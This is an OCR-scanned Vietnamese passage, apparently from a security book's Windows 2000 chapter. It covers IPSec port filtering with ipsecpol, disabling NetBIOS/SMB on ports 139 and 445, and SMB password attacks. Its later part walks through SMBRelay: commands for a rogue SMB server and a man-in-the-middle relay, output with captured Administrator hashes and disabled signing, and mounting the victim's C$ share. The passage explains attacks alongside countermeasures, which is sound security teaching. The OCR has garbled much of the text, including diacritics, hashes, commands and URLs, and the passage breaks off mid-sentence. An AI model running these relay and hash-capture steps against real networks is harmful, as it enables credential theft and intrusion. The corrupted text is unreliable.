nhién nhiing nhuoc diém c6 hitu van con ton tai. Tinh ning trich loc TCP/IP
gin vao tat ca cac bo diéu hop. N6 s& dong huong vao cua mot két noi huong
ra hop 1é (ngin chin trinh duyét web tir hé thong), va tinh ning nay yéu cau
khéi dong lai hé thong trude khi phét huy tac dung.

Canh bdo: Nhiing thir nghiém cta ching tdi trén Windows 2000 d3 cho thay
tinh ning trich loc cia TCP/IP khong khda cac yéu cau bao lai ICMP (Giao
thirc 1) ngay ca khi IP Giao thirc 6 (TCP) a 17 (UDP) la nhitng ddi twong duy
nhat duoc phepBo loc IPSec



MGt giai phap tot hon do la st dung cac bo loc IPSec dé loc cong dua trén may chu.
Nhing nhiing bo loc nay la mot lo1 ich phu cua tinh nang ho tro mdi cua Windows 2000
cho IPSec va dirgc nhom thiet ké Windows2000test.com va cac mang Openhack st dung
vol hieu qua cao. IPSec loc cac go1 tin qua trinh ngay trong ngan mang va lai loar bo nhiing
gdi tin nhan duoc trén giao dién néu nhu nhitng gdi tin nay khong dap ing nhiing dac tinh
cua bo loc. Trai voi nhitng bo loc TCP/IP, bo loc IPSec co the duge g dung vao cac giao
dién ca nhan, va no s& khoa hoan toan ICMP (méc dau cac bo loc nay khong du dé khoa cac
kieu phu ICMP nhuw bao hiéu lai (echo), hoi am lai (echo reply), dau hiéu thoi glan
(timestamp)...) Cac bo loc IPSec khong do1 hoi pha1 khéi dong lai hé thong (mac dau
nlnmg tha}f doi doi vai cac bo loc s& ngung cac ket noi IPSec hién thoi). Cac bo loc nay chu
yeu la giai phap cho may chu ma thoi, khong phai la thu thuat firewall ca nhan cho cac tram
cong tac boi chung s& khoa hudng vao ctia cac két noi hwdng ra hop 18 (trir phi dwoc phép

qua tat ca cac cc:ng} cling tm:mg tur nhar cac bo loc TCP/IP.
Ban co thé tao ra cac bo loc IPSec bang cach st dung trinh tng dung Administrative
Tools | Local Security Policy (secpol.msc). Trong GUIL nhap chudt phai vao nut IPSec

Policies On Local Machine ¢ 0 cura bén trai, va sau do chon Manage IP Filter Lists And
Filter Actions.

Chuing ta nén s dung tién ich dong 1énh ipsecpol.exe dé quan i cac bd
loc IPSec. Tien ich nay tao thuan lo1 cho qua trinh scripting, va no dé st dung
hon tién ich quan li chinh sach IPSec bing hinh anh ric roi va da dang.
Ipsecpol.exe duoc gidi thiéu qua Windows 2000 Resource Kit va bing cong
cu Dinh ciu hinh Béo mat may chu Internet Windows 2000 tai dia chi
http://www microsoft.com/technet/security/tools.asp. Nhitng dong lénh sau
chi cho phép cong 80 1a c6 tiép can trén mot may chu:
ipsecpol \\ computername -w REG -p “Web” -
ipsecpol \\ computername -x -w REG -p “Web” -r “BlockAll” -n
BLOCK — O+%*
ipsecpol ‘\\ computername -x -w REG -p “Web” -r “OKHTTP” -n PASS -
f 0:830+%: TCP
Hai dong 1énh cubi cung tao ra médt chinh sach IPSec ¢6 tén “Web” chura dung
ha1 nguyen tac bo loc, mot co tén “BlockAll” co tinh nang khoa tat ca cac glao
thirc dén va di tir may chid nay va tit ca cdc may chu khac. Nguyen tic con lai
co ten “OkHTTP” cho phep cac hmng thong tin trén cong 80 dén va di tir may
chu nay va cac may chu khac. Néu ban muédn kich hoat ping hoac ICMP
(chung to1 khuyen ban khong nén thlI'C hién tr phi diéu d6 la thuc su can

th1et) ban c6 thé nhap thém nguyén tic nay vao chinh sach “Web”.
Ipsecpol \\ computername -x -w REG -p “Web” -r “OKkICMP” -n
PASS -f 0+*: ICMP

Vi du nay dé ra chinh sach cho tat ca cac dia chi, tuy vay ban cling c6 thé dé
dang xac dinh mét dia chi IP don st dung khoa chuyén déi —f nhim tap trung
cac hiu umg vao mot giao dien. Nhiing thao tac quet cmng ngan chan mot hé
théng duoc dinh ciu hinh c¢6 s& dung vi du trén chi hién thi cong 80 ma



th61.Khi ma chinh sach bi mat hiéu luc thi tat ca cac cong lai dé dang bi truy
nhap.

Phin mé ta ctia mdi dbi s6 trong vi du nay dwoc minh hoa trong Béang
6-2. (Dé c6 phan md ta day du tinh ning ipsecpol, chay ipsecpol -?, bang 6-2
cling dwa trén do)

Poi so Phan mo ta

-w REG Lap 1psecpol o che dé finh, gitp viét chinh sach cho mot
diém chira dinh sin (nguoc véi ché d6 dong mic dinh, van
phat huy tac dung khi ma dich vu Policy Agent dang hoat
dong; do do rootkit tieu diet ché d{} nay). Tham so REG
quy dinh chinh sach phai duoc viét cho Registry va phai
phu hop cho cac may cho cac may cha khong két noi. (Su
lura chon khac, DS, viét cho thu muc).

-p Xac dinh mot cai1 tén mang tinh vo doan (Web, nhu trong
vi du) cho chinh sach nay. Néu nhu chinh sach di cé sin
tén nay, nguyén tic nay sé duoc b xung vao chinh sach.
Vi du, nguyén tic OKHTTP duoc bd xung vao chinh sach
Web ¢ dong thu 3.

-T Xac dinh mot cai tén mang tinh v3 doan cho nguyén tic
nay, né s& thay doi cac nguyén tic hién thoi bing cung
mot cal tén trong chinh sach.

-n Khi & ché do tinh, lwa chon NegotiationPolicyList co thé
xac dinh 3 muc dac biet: BLOCK, PASS, va INPASS (nhu
m0 ta trong phan sau ctia bang nay)

BLOCK B4 qua phan con lai cda cic chinh sach trong
NegotiationPolicyList VAF lam cho tat ca cac bo loc khoa
hoic b tat cac bd loc. Thao tac cling giérng nhu lua chon
mot nut Block radio trong UI quan li IPSec.

PASS Béd qua phan con lai cGa cac chinh sach trong
NegotiationPolicyList va lam cho tat ca cac bd loc mé.
Thao tac cling giong nhu lwa chon mét nit Permit radio
trong UL

INPASS  Phan nay cling giéng nhu kiém tra Allow Unsecured
Communication, hop kiém tra But Always Respond Using
IPSEC trong UL

f FilterList Néu nhu FilterList 12 mot hoac nhiéu nguyen tic bo loc
duoc phan tach bing dau cach cé tén filterspecs :A.B.C.D/
mask: port =A.B.C.D/mask:port: IP Protocol, néu DPia chi
Nguﬁn luén & bén tra1 “=", va Pia chi Pich ludn & bén
phéai. Néu ban thay thé “=” bang mot “+”, 2 bd loc phan




chiéu sé duoc tao ra, moi bd theo hudng khac nhau. Bo
phan loc va cong la tuy chon. Néu nhu ching bi loai bé,
cong “Bit ky” va bo phén loc 255.255.255.255 s& duoc st
dung. Ban cé thé thay thé bd phin loc AB.C.D bing
nhitng hinh thue sau:

0 thé hién dia chi hé thong cuc bd

* thé hién dia chi bat ky

Tén A DNS (chu y: bo qua cac da gia1 phap). Giao thuc IP
(vi du, ICMP) la tuy chon, néu bi bd sét, thi cong “Any”
duoc chﬁp nhan. Néu ban chi ra mot giao thuc thi mot
cong phai dimg ngay trude do, hodc “::” phai ding trude
do.

-X (TUY CHON) Thiét lap chinh sach hoat ddng trong ving
ding ky LOCAL. (cht ¥ rang ching ta sit dung d6i s nay
kh1 xac dinh nguyeén tic dau tién nhim kich hoat chinh
sach Web; khéa chuyén doi nay duong nhu chi hoat dong
néu duoc ung dung khi tao ra bo loc dau tién ctia mot

chinh sach.)

-y (TUY CHON) Thiét lap cac chinh sach khong hoat dong
trong vung dang ky LOCAL.

-0 (TUY CHON) s€ x0a di chinh sach ma do s6 -q quy dinh.

(Chu v: d6i sb nay sé X0a toan bo chinh sach da xac dinh,
khéng nén st dung déi sé nay néu nhu ban co6 cic chinh
sach khac hudng vao cac doi twong trong chinh sach dé.)

Bang 6-2: Cac tham sé ipsecpol sit dung dé loc luong théng tin dén
mot May cha Windows 2000

Chung ta can chi ¥ ring cac bo loc IPSec mic dinh sé khong khoa ludng
thong tin , thongbdo, thong tin QoSRSVP, cong Internet Key Exchange (IKE)
500, hoic cong Kerberos 88 (TCP/UDP) (xem trén dia chi
http://support. mlcmsnﬁ com/support/kb/articles/Q253/1/69.asp dé biét thém
thong tin chi tiét vé nhitng dich vu nay vi chung lién quan dén IPSec trong
Win 2000). Service Pack 1 trong thiét lap Registry von giup ban vo hieu hoa
cac cong Kerberos bing cach tit nguyén tic mién bd phan diéu khién IPSec.
HKLM\SYSTEM\CurrentControlSet\Services\IPSEC\NoDefaultExempt

Type DWORD
Max 1
Min 0

Default 0



Chi cé IKE, Multicast, va Broadcast la van duoc mién, va khong bi tac dong
b-::rl thiét lap Registry. Thong tin Kerberos va RSVP khong duoc méc dinh
mién nita néu nhu Registry nay la 1.

Chu y: Cam on Michael Howard va William Dixon thudc Microsoft vé
nhitng lo1 khuyén trén IPSec.

Do cu phap dong lénh manh, 1psecpol co thé qua kiéu cach. Trong vi du
truoc do, ta thay rang danh sach bo loc phan tich tu trén xudng (g1a su rang
mbi bo loc mdi duoc ipsecpol viét 1én phia trén cua danh sach). Néu ta chi don
gian thay doi trat tu ap dung nhiing nguyen tac nay sur dung 1psecpol thi s& dan
dén viéc loc khong day da, day la mot vin dé rét nan gial. Ngoai ra, duong
nhu chua co mot phuong cach nao giup xac dinh déy cong bing ct phap
filterspec dich hodc nguén. Do do, méc dau cac bo loc IPSec la budc ca1 tien
dang chu y cho viéc loc cong TCP/IP, ta cAn st dung cin than va nho rang ban
chi déng nhitng cong can thiét ma théi. Tiép theo, chung toi s& dua ra mot s6
lo1 khuyen thu duoc tur nhitng thir nghiém rong rai ipsecpol.
¥ Néu nhu ban mudn loai bé mét chinh séch, dai khi ban st dung d6i s6 -y s&
gip vo hiéu hoéa cac chinh sach truwde hodc sau khi xéa ching bing khoéa
chuyén ddi —o. Chung ta d3 tung biét dén truong hop ngay ca nhitng chinh
sach d3 bi x6a van co tac dung cho dén khi né bi vo hiéu héa hoan toan.

m S dung cong cu dong lénh ipsecpol hodc GUI duy nhat khi tién hanh thay
d6i cac chinh sach. Khi chung ta tao lap cac chinh sach st dung ipsecpol va
sau d6 hiéu chinh chung théng qua GUL nhiing xung dét xuat hién va dé lai
nhiing k& hé 16n trong van dé bao vé.

A Dam bao ring ban xoa di tit ca nhitng nguyén tic bd loc khéng st dung
nhim tranh xung dot. Pay la mot khu vuc ma GUI thé hién hét tinh ning -
dém cac bd loc hién thoi va cac chinh sach,

DEM
Chuong 3 cho ta thdy NT4 “than thién” nhw thé nao khi tic dong tich cuc
nhim phat hién thong tin nhw tén doi twong su dung, phan dung chung file,
Tr{:lng chuong do, chung ta cing da biét cach dich vu NetBIOS thu thap dir
lleu d6i véi cac dbi twong st dung nac danh trén vung tr{:}ng nguy hiém.
Chung ta cling biét Active Dll‘E‘:CtGI’}’ dé 16 thong tin cho nhimg ke tan cong
chua duoc xac dinh nhu thé nao. Tmng phan nay chung ta khong mieu ta lai
nhiing cudc tan cong do nita nhung ta can chu y ring Windows 2000 cung cap
mot sO bién phap moil nhiam khic phuc nhitng su co NetBIOS va SMB.

Kha ning tu hoat dong ma khong dua trén NetBIOS c6é thé 1a mot trong
nhitng thay d6i quan trong nhat trong Windows 2000. Nhu d3 dé cép trong
Chuong 3, NetBIOS trén TCP/IP c¢6 thé b1 v6 hiéu hoéa sit dung Cac tinh nang
cua Network va Dial-up Connections thich hop | Properties of Internet



Protocol (TCP/IP) | Advanced button | WINDS tab | Vo hiéu hoa NetBIOS
trén TCP/IP.

Tuy nhién diéu ma hau hét moi ngm::rl déu bd qua d6 1a mic dau su phu thudc
Vao truyf:n tai NetBIOS c¢6 thé bi vo hiéu hoa theo cach nay nhung Windows
2000 van cé thé st dungSMB trén TCP (cong 445) nhim phan chia file
Windows (xem Bang 6-1)

Day la mot cai bay ma Microsoft cai dit 1én doi twong st dung ngay tho
vnn nghi ring v6 hiéu héa NetBIOS trén TCP/IP (thong qua Cac tinh nang ket
nbéi LAN, WINS tab) sé khic phuc duoc su ¢o dém vung rong: Van dé khong
phai nhu vay. VO hieu hoa NetBIOS tren TCP/IP chi co tac dung vo1 TCP 139
ma thoi, khong co tac dung vo1 445. Piéu niy gan gmng nhu viec vo hieu hoa
giai quyét dwoc van dé vung mng bo1 vi nhing ke tan cong truoc khi Service
Pack 6a ra do1 khong thé két ndi véi C{:}ng 445. Va chung co thé thuc hién moi
cong viec nhu dén doi tuwong s dung, chay user2sid/sid2user, .. .nhu chung ta
d3 mo ta chi tiét trong Chuong 3. Pung dé dang bi hira bdi nhitg thay doi bé
mat cua Ul
@ V6 hieu hoa NetBIOS/SMB trén Windows 2000
May min thay, ta van co cach dé vo hiéu hoa ca cong 445. Tuy nhién cling
giong nhu vo hiéu hoa cc:«ng 139 trong NT4, cong viéc nay do1 hoi phai khai
thac siu vao nhiing két noi dé tim dwoc bo diéu hop. Trudce hét ban phai tim
kiém tab két ndi, mic dau co thé né da duoc chuyén téi mot vi tri nao dé ma
chua ai biét (mdt suw di chuyén khé chiu trén phan truée UI). Tab két nbi d3
xuét hién bing cach mé applet Network and Dial-up Connections va lwa chon
Advanced | Advanced Settings | nhu minh hoa trong hinh sau:
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Bing thao tic bé chon File And Printer Sharing For Microsoft Networks, nhu
minh hoa trong Bang 6-1, nhiing vung rong s€ b1 vo hiéu hoa trén cong 139 va
445 (cung vdi file va printer sharing). Khong can phai kho1 dong lai he thong.
(Microsott xung dang vo1 nhimg lo1 tan duong vi cuo1 cung cting da cho phep
nhiéu thay doi mang ma khong can phai thao tac kho1 dong la1). Hien day van
la cach tot nhat dé dinh cau hinh nhitng giao dién bén ngoai cua mot may chu
noi mang Internet.

Chu ¥: TCP 139 sé& xuét hién trong qua trinh quet cong, tham chi sau khi qua

trinh na‘,fr duoc thiét lap. Tuy vay cong s€ khong con cung cap thong tin lién
quan dén NetBIOS.



Ban can nhé rﬁng, cic bo loc IPSec cé thé duoc st dung nhim han ché su tiép
can NetBIOS hoac SMB.
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Bﬁng 6-1: Vo hieu hoa NetBIOS va
file SMB/CIFS va chuc nang printer
sharing (khéa cac vung) su dung
Network va cwa so Dial-up
Connections Advanced Settings

RestrictAnonymous va Windows 2000 Chung ta hieu 16 trong Chu:cmg 3 cach thiet
lap RestrictAnonymous Reg15t1}f duoc st dung dé khoa tinh nang dém cac thong tin n]lﬂ}r’
cam thong qua nhitng ving rong. Trong Windows 2000, RestrictAnonymous dwoc dinh cau
hinh theo Security Policy | Local Policies | Secun_ty Options

Trong Chuong 3 chung ta cling da hiéu 3 rang RestrictAnonymous co
thé bi bd qua. Piay la diéu hoan toan mo1 do1 vor Windows 2000,
RestrictAnonymous co thé duoc gan véi thiét lap chdt ché hon co tinh nang
khoa hoan toan cac vung rong. “No Access Without Explicit Anonymous
Permissions” tuwong duong vol viéec dat RestrictAnonymous = 2 trong
Windows 2000 Registry.

bit RestrictAnonymous = 2 ¢o thé xuat hién nhing van dé vé két noi
Windows. Xem KB article Q246216 tai dia chi
http://search.support. microsoft.com dé biét thém thong tin chi tiét.

XAM NHAP

Khi nam ngoai tam kiém soat Windows 200 tro nen yeu ot tredce tat ca cac cudc tan cong fir
xa nhu NT4, ching ta s& tim hiéu trong phan tiép theo.

Doin mit khau NetBIOS-SMB

Nhlrng cong cu glc::-ng nhu SMBGGrind da gio1 thieu trong Chuong S van hitu
hiéu dé doan cac mat khau dung chung trén cac he thﬂng Windows 2000. Nhu
chung ta da tim hleu, néu nhu NetBIOS hoac SMB/CIFS duoc kich hoat va



may khach clia ké tan cong c6 thé giao tiép véi SMB, viéc doan mat khau van
la mo1 nguy de doa lon nhat cho cac hé thong Windows 2000.

Chu y:Nhu Luke Leighton ctua Samba da dé cip nhiéu lan trén http://samba.

Org, thi ta khﬂng nén nham lan gitta NetBIOS va SMB. NetBIOS la mot
truyén dan con SMB la mét g1ao thuc phan chia file co tinh nang két ndi voi
NetBIOS- mver—TCP(NBT) kiéu tén SERVER NAME#20, cling gibng nhu bat
ky mot may chu pho thong nao sé& két ndi véi mdt cong TCP. SMB duoc két

no1 vo1 TCP445 la hoan toan tach biét va khong lién quan gi to1 NetBIOS.

Nghe trom cac thong tin phan tach mat khau (Password Hashes)

Tién ich nim gitt go1 tin LOphtcrack SMB duoc gio1 thigu trong Chuong 5 van
co tac dung nam gitt va pha nhiing thong bao LM dugc gui di gitra nhiing d6i
twong st dung cap dudi (NT4 va Win9x) va may cha Windows 2000. Cau
tric dang nhép Kerberos cia Windows 2000 khong dé dang bi pha bot nhiing
cudc tan cdng nhu vy, _nhung no ¢o thé bi pha néu nhu mét bang diéu khién
vung Windows 2000 san sang dong vai tro la Kerberos KDC. Su thi1 hanh
Kerberos cua Windows 2000 ciing duoc thiét ké nhu sau: Qua trinh xéc thuc
s€ tut xuﬁng LM/NTLM néu khong cé Kerberos, vi vay Windows 2000 sé dé
dang bi tan cong vdi cau hinh khong két ndi.

Chu y: Ngay ca nhitng thanh vién mién ciing khong st dung Kerberos dé tiép
can cac tai1 nguyen neéu nhu cac dia chi IP la dung cac tén chu.

Poi huong Ping nhap SMB sang Ké tin cong

Nghe trom trén cac thong baﬂ LM tré nén dé da,ng hon néu nhu ké tan cung C{Z}
thé danh lira nan nhan dé thon tlnh thong tin xac thuc Windows ma ké tan
cong lwa chon. Phuong phap dé tién hanh khi ma thao tac chuven d6i mang da
duoc thuc hién do né doi hdi nhitng ving SMB sat véi hé thong cua ké tan
cong bat chap cau tric lién két mang.

Nhim vao d6i tuong st dung ca nhan ciing la mot phwong phap hiéu
qua. Tha thuit co ban d3 duwoc gidi thiéu & mét trong nhiing san pham
LOphtcrack dau tién: giri mot message t&1 nan nhan bing mot siéu lién két
nhing t&i mot may chi SMB gid. Nan nhan nhan duoc message, siéu lién két
do truy theo sau (thu cong hodc tu dong), va may khach vo tinh da gui nhiing
iy quyén SMB cta doi twong st dung 16n mang. Nhimng lién d6 dé& dang duoc
nguy trang va thuong khéng doi héi nhiéu su twong tac véi doi tuong st dung
v&1 Windows tw dong ding nhdp nhw la mét déi tuong sir dung hién thoi néu
khong co thém thong tin xac thuc nao khac. Duoi goc do bao mat thi co 1€ day
la mot tac déng lam suy yéu manh nhat ctia Windows.

Chung ta sé chung minh moét vi du vé hinh thirc tan cong nay trong
Chuong 16.




SMBRelay
Vao thang 5/2001, Nga1 Dystic thuoc nhom Cult of the Dead Cow da tung ra
mot cong cu CcO tén SMBRelay
(http //prOn.newhackcity.net/~sd/windoze. html) Thong bao da duoc don trao
ram rd. T Register di khéng ngimg thdi phong céng cu nay 1én véi tidu dé
“Cong cu pha tan an ninh WinNT/2K”, r6 rang la ho chua nhan tha‘yr nhiing
yéu diém trong thong tin xac thuc LM von dang nan giai vao thoi diém do.
SMBRelay la mot may cha SMB co thé thu thap cac thong tin phan tach
vé doi tuong st dung va mat khau tir ludng thong tin SMB di téi. Nhu chinh
cai tén d3 cho thay thi SMBRelay c6 thé déng vai tro khong chi 1a diém cudi
SMB —no ciing c¢é thé thuc hién nhitng cudc tan cdng vao trung tim trong mot
sO truomg hop cu thé. Chung ta s& tim hiéu tinh ning st dung cia SMBRelay
nhu 1a mot may chi SMB don gian va tiép d6 la tinh ning MITM (tan cong
trung tam.

® Thu giir thong tin xac thwe SMB swr dung SMBRelay

Tinh pho théng 2
Tinh don gian
2
Tinh hiéu qua
7
Mikc dé rii ro
4

Thiét 1ap mot may chit SMBRelay gia that don gian. Budc dau tién la chay
cdng cu SMBRelay biang khoa chuyén doi liét ké dé xac dinh mot giao dién
vat li thich hop ma trén d6 ta cé thé chay thiét bi nghe:

C:\ > smbrelay /E

SMBRelay v0.992 - TCP (NetBT) level SMB man-in-the-middle relay attack
Copyright 2001: Sir Dystic, Cult of the Dead Cow

Send complaints, 1deas and donations to sirdystic@cultdeadcow.com

[2] ETHERNET CSMACD -3Com 10/100 Min1 PCI Ethernet Adapter

[1] SOFTWARE LOOPBACK - MS TCP Loopback interface

Theo nhu vi du, giao dién vo1 index?2 la thich hop nhat dé ta lwa chon vi né la
mot bang vat 11 co the tiép cin duoc tir mot hé thong tir xa. (BO didu hop
Loopback chi ¢o thé tiép can nhitng may chu cuc bd). L& di nhien la vor nhiéu
b6 diéu hop thi cac lra chon duoc mé rong nhung ta van chu trong dén truong
hop don gian nhat trong phan nay va st dung bd diéu hop index2 trong phan

tiep.



Khon chay may chu phai kheo leo trén cac hé thc-ng Wmdt}ws 2000 w1
cdc hé diéu hanh sé& khong cho phép cac qua trinh khac két ndi cong SMB
TCP 139 khi ma mot hé diéu hanh dang su dung I::Dng nay. Mot cach khic
phuc d6 1a tam thoi vo hiéu héa cong TCP 139 bing cach kiém tra Disable
NetBIOS trén TCP/IP, cu thé 1a ta lwa chon Properties of the appropriate Local
Area Connection, tiép do la Properties of Internet Protocol (TCP/IP, nhap vao
nit Advanced, va tiép dé chon nut radio thich hop trén WINDS tab, nhu d
trinh bay trong Chwong 4. Khi d3 thuc hién xong, SMBRelay cé thé két ndi
TEP 139,

Néu nhu v6 hiéu héa TCP 139 khong phai la mot lwa chon thi ke tan
cong phai tao ra mot dia chi IP ao dé dua vao dé chay may chu SMB gia. That
may man, SMBRelay cung cap tinh nang tu dong giup thiét 1ap va xoa cac dia
chi IP ao su dung mot khoa chuyen d6i 1énh don glan i o 1p_ address. Tuy
nhién, chung ta dd thu duoc nhimg két qua khﬂng thﬂng nhat st dung khoa
chuyen d6i /L trén Windows 2000 va cé 1& ta nén st vo hiéu héa TCP 139
nhu d3 giai thich trong phan trudc thay vi st dung /L.

Mot chi tiét nita ma ta phai chu v khi st dung SMBRelay trén
Windows 2000 dé 1a: Néu mot may khach SMB Windows 2000 khong thé két
noi trén TCP 139, nd sé tiép tuc két ndi trén céng TCP 445, nhu chung ta da
tim hiéu & phan dau Chuong nay. Dé tranh truong hop may khach Windows
2000 danh Iira may chu SMBRelay gia nghe trén TCP 139, TCP 445 phai
duoc khoa hodc v6 hi€u hoa trén may chu gia. Vi cach duy nhat dé vd hidu
hoa TCP 445 khong anh huong gi dén TCP 139 nén cach tot nhat do 1a khoa
cong TCP 445 st dung mot bo loc IPSec, nhu d3 trinh bay trong phan truée.

V1 du sau day mo ta SMBRelay chay trén mot may chu Windows 2000,
va gia su rﬁng TCP 139 da b1 vo hieu hoa va TCP 445 da b1 khoa su dung bo
loc IPSec.

Sau day la cach khoi chay SMBREI&V tren Windows 2000, gia su réng
g1ao dlen index2 s€ duoc st dung cho thiét bi nghe nod1 bo va dia chi chuven
tlEp va rang may chu gia s€ nghe trén dia chi IP hién thoi cua giao dién nay.
C:\ >smbrelay /IL 2/1IR 2
SMBRelay v0.992 - TCP (NetBT) level SMB man-in-the-middle relay attack
Copyright 2001: Sir Dystic, Cult of the Dead Cow
Send complaints, 1deas and donations to sirdystic@cultdeadcow.com
Using relay adapter index 2: 3Com EtherLink PCI
Bound to port 139 on address 192.168.234.34
Tiép theo SMBRelay s& bit ddu nhan nhitng théa thuin ving SMB. Khi mét
may khach nan nhan thoa thuan thanh cong mot vung SMB, sau day trinh tw
SMBRelay thuc hien:




Connection from 192.168.234.44: 1526

Request type: Session Request 72 bytes

Source name: CAESARS <00>

Target name: *SMBSERVER <20>

Setting target name to source name and source name to ‘CDC4EVER’. ..
Response : Positive Session Response 4 bytes

Request type: Session Message 137 bytes
SMB COM NEGOTIATE

Response: Session Message 119 bytes
Challenge (8 bytes): 952B49767C1D123

Request type: Session Message 298 bytes
SMB COM SESSION SETUP ANDX

Password lengths : 24 24

Case nsensitive password:
4050C79D024AEOF391DF9ASASBDSF3AESE8024C5B9489BF6

Case sensitive password:
544FEA21F6D8E854F4C3B4ADF6AGASDESFOCEBAB966EEB

Username: “Administrator”
Domain: *CABESARS-TS”

OS: “Windows 2000 2195~
Lanman type: “Windows 2000 5.0
r}f}l} L4 )

Response: Session Message 156 bytes
“Windows 5.0
Lanman type: “Windows 2000 LAN Mangager”

Domain: “CAESARS-TS”

Password hash written to disk connected?

Relay IP address added to interface 2

Bound to port 139 on address 192.1.1.1 relaying for host CAESARS
192.168.234 .44

Nhu ban cé thé thay, ca passwords LM (khong mang tinh dac trung truong
hop) va NTLM ( phén biét dang chit) déu dwoc két ndi va viét vao tép
hashes.txt trong thu muc lam viec hién thoi1. Te€p nay co thé duoc truy nhap
vao Lophtcrack 2.5x va bi tn cong.

Chu y: Do dinh dang tép gilta Lophtcrack 3 va Lophtcrack 2.52 khac nhau,
ta khong thé nhap cac thong tin thu duwoc qua SMBRelay truc tiép vao LC3.



Nguy hiém hon, hé thong cta gidi tin tic hién nay co6 thé xAm nhap may khach
chi bing viéc két ndi don gian qua dia chi chuyén tiép dia chi nay mic dinh
véi 192.1.1.1. Duéi day 1a nhitng biéu hién ctia né:

C:\>net use * \\192.1.1.1\c$

Drive E: 1s now connected to \\192.168.234..252\c$

The command completed successtully.
C:\>dir e

Volume 1in drive G has no label
Volume Serial Number 1s 44FO-BFDD

Directory of G:\

12/02/2000 10:51p <Dir> Documents and settings
12/02/2000 10:08p <Dir> Inetpub
05/25/2001 03:47a <Dir> Program Files
05/25/2001 03:47a <Dir> WINNT

0 File(s) 0 bytes

4 Dir(s) 44,405,624,832, bytes free

Trong hé thong may khach Windows, hé thong két ndi véi may cha
SMBRelay trong phan vi du trudc, ching ta thay nhiing biéu hién sau. Trudc
hét, 1énh sit dung mang gdc dudng nhu c6 151 hé thdng 64. St dung mang hién
thoi s&€ bao & dia chua duoc ca1 ddt. Tuy nhién, phﬁn mang hién tho1 s€ phat
hién ra rﬁng no duoc két noi khong chu dinh vo1 mot may co tén gia mao
(CDC4EVER, may co SMBRelay duoc ca1 dat nho suw mac dinh tru khi thay
d6i thong s6 /S name dang sit dung.

C:\client>net use \\192.168.234 . 34\ipc$ * /u: Administrator
Type the password for \\192.168.234 34\ipc$
System error 64 has occurred.

The specitied network name 1s no longer available.
C:\client>net use
New connection will not be remember.

There are no entries 1n the list
C: \client>net session
Computer User name Client Type Opens Idle time

WCDC4EVER ADMINISTRATOR Owned by cDc 0 00: 00: 27
The command completed successtully.




Khi st dung SMBRelay thuong phat sinh mot s6 van dé. Mot 1an thir két ndi
tir mot dia chi IP cua nan nhan da cho va khong thanh cong, tat ca cac lan th
khac tir dia chi d6 déu phat sinh 161 d6. (161 nay 1a do thiét ké chuong trinh,
nhu d3 néu trong muc hudng dan). Ban ciing cé thé gip kho khin nay ngay ca
khi su diéu chinh ban dau d3 thanh céng nhung ban nhin dugc mot thong tin
nhu: “Login failure code: 0xC000006D.” Khot dong la1 SMBRelay giam bot
nhiing kho khan do. (chi. can kich phim CTRL-C dé dimg lai). Ngoai ra, ban
cling c6 thé thiy su két ndi sai tir bd phan diéu hop Loopback (169.254.9.119)
chung ta yén tam 1o di.

Chung ta cling co thé st dung ARP chuyén glao/cache doc hai dé chuyén g1a0
kha ning tai may khach dén mot may chu SMB gia tao. Xem chuong 10

Bién phap dbi phé Péi huéng SMB

Trén ly thuyét, SMGRelay rat kho bao vé. Vi né doi hoi kha ning hiéu chinh
tat ca cac xac nhan cac ngdn ngit LM/NTLM khéac nhau, né nén c6 kha ning
bat o1t lal bat ¢ su xac nhan nao truc tiép vé phia no.

Déu hiéu k¥ thuat s6 thong bao truyén thong SMB cé thé duoc st dung dé
trong lai cac vu tan cong may trung gian SMBRelay, nhung no s€ khong lam
dao 16n cac vu tan cong may chu bat hop phap do SMBRelay c6 thé danh gia
thap sw hiéu chinh kénh an ninh véi nhitng may khach la nan nhén.

® Cac vu tan cong may trung gian SMB (MITM)

Tinh  phé  bién:
2
Tinh don gian:
¥,
Tinh  hiéu qua:
S
Mirc dé nriui ro:
4

Cac vu tAn cong may trung gian SMBRelay 1a Iy do chinh cho su tuyén tl’Ll"‘fEH
I6n vé may SMBRelay khi n6 duoc tung ra thi truong. Mdc du khai mém vé
cac vu tin céng SMB MITM la hoan toan 13i thdi trong khoang thotr gian
SMBRelay duoc gial thoat, day la cong cu pho bién rong rii dau tién tu dong
trong lai tan cong.

MO6t vi du vé viée bd tri may MITM véi SMBRelay duoc trinh bay trong biéu
d6 6-2. Trong vi du d6, gidi tin tic bod trt mot may chu bat hop phap &
192.168.234.251 (vo1 NetBIOS tren TCP mat kha ning hoat dong, day la dia
chi thuc cia may MITM cda gidi tin tic), mot dia chi chuyén tiép cua
192.168.234.252 st dung /R, va mo6t dia chi may chu dich co /T



Victim :'m:
162 168234 200

Vichim server
182 1652344

im Server dnve

. Relay Address

Attacker
197 168 234.50 i

Bang 6-2: M6 hinh SMBRelay MITM

C:\>smbrelay /IL 2 /IR 2/R 192.168.234.152 /T 192.168.234.34

Bound to port 139 on address 192.168.234.251

Tiép d6 mot may khach bi tan cong 192.168.234.220 két ndi véi dia chi may
cht mao danh, ludn ¥ thirc ring minh dang giao tiép véi muc tiéu.

Connection from 192.168.234.220:1043

Request type: session request 72 bytes

Source name:* GW2KNT4 (00)

Target name: SMBSERVER  (20)
Setting target name to source name and source name to “CDC4EVER”. ..

Response: positive session response 4 bytes

Request type: session message 174 bytes

SMB COM NEGOTIATE

Response: session message 95 bytes

Challenge (8 bytes): 1IDEDB6BE7973DD06

Security signatures required by server*** This may not work
Disabling security signatures

Chu ¥ ring may chi dich d3 duoc ciu hinh s& doi héi hinh thirc truyén thong
SMEB duoc ding ky s6, va SMBRelay sé& v hiéu hoa céac chit ky.
Request type: session Message 286 bytes

SMB COM SESSION SETUP ANDX

Password lengths: 24 24

Case Insensitive password:
A4DA35F982CBE17FA2BBBO952CBCO01382C210FF29461A71F1
Case sensitive password:

FOC2D1CA8895BD26C7CTES8CAAS4E10F1E1203DAD4782FB95
Username: Administrator

Domain: NT4DOM

Os: Windows NT 1381



Lanman type:

797. Windows NT 4.0

Response: session Message 144 bytes

OS: Windows NT 4.0

Lanman type: NT LAN Manager 4.0

Domain: NT4DOM

Password hash written to disk

Connected?

Relay IP address added to interface 2

Bound to port 139 on address 192.168.234.252

Relaying for host GW2KNT4 192.168.234.220

Ta1 day, ke tan cong d3 tu nhap thanh cong vao dong SMB giita may khach bi
tdn coéng va may chu dich, va khai thac ‘thong tin LM va NTLM cua may
khach tur thong bao phan hoi hiéu 1énh. Két ndi véi dia chi chuyén tlep s€ cho
phep tlEp can vo1 tai nguyen cua may chu dich. Vl du, day la hé thﬂng tan
